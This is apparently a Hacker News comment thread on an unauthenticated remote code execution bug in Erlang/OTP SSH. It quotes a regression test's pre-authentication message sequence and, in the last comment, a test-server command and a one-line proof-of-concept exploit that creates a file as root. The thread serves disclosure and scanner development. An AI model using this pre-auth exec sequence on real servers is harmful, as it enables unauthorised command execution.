Unauthenticated Remote Code Execution in Erlang/OTP SSH

(nvd.nist.gov)

198 points kimi | 1 comments | 17 Apr 25 13:29 UTC | HN request time: 0.303s | source

Show context

formerly_proven ◴[17 Apr 25 15:31 UTC] No.43718329[source]▶

If I interpret the patch correctly the issue seems to be that you could just ask for a channel and do a request_exec before authenticating. The regression test is:

    {send, hello},
    {send, ssh_msg_kexinit},
    {match, #ssh_msg_kexinit{_='_'}, receive_msg},
    {send, SshMsgChannelOpen},
    {send, SshMsgChannelRequest},
    {match, disconnect(), receive_msg}

https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a...

edit: Ah, found by the people at RUB, they do a lot of research in verifying protocol implementations iirc.

replies(4): >>43718365 #>>43718897 #>>43719016 #>>43720515 #

chc4 ◴[17 Apr 25 16:14 UTC] No.43718897[source]▶

>>43718329 #

I'm vaguely surprised that https://www.runzero.com/sshamble/ didn't find this. They did a scan over the entire internet trying invalid SSH state machine transitions, which I guess didn't cover this sequence.

replies(1): >>43722447 #

1. hdmoore ◴[17 Apr 25 21:32 UTC] No.43722447[source]▶

>>43718897 #

I was too! The reason is that the Go x/crypto/ssh library was bailing out on the lack of reply to the channel open request, which prevented it from reaching the auth bypass check via exec. I should have an update out soon with this fixed and a RCE check for this issue.

The test server: $ erl -eval 'ssh:start(), ssh_dbg:on(), ssh:daemon(34222, [{system_dir, "/home/otp/ssh/keys"},{user_dir, "/home/otp/ssh/users/otptest/.ssh"}]).'

The exploit: auth.ScrapeExec(options, addr+" "+tname, res, ses, `os:cmd("touch /tmp/HAXXXED").`)

>-rw-r--r-- 1 root root 0 Apr 17 16:14 /tmp/HAXXXED

↑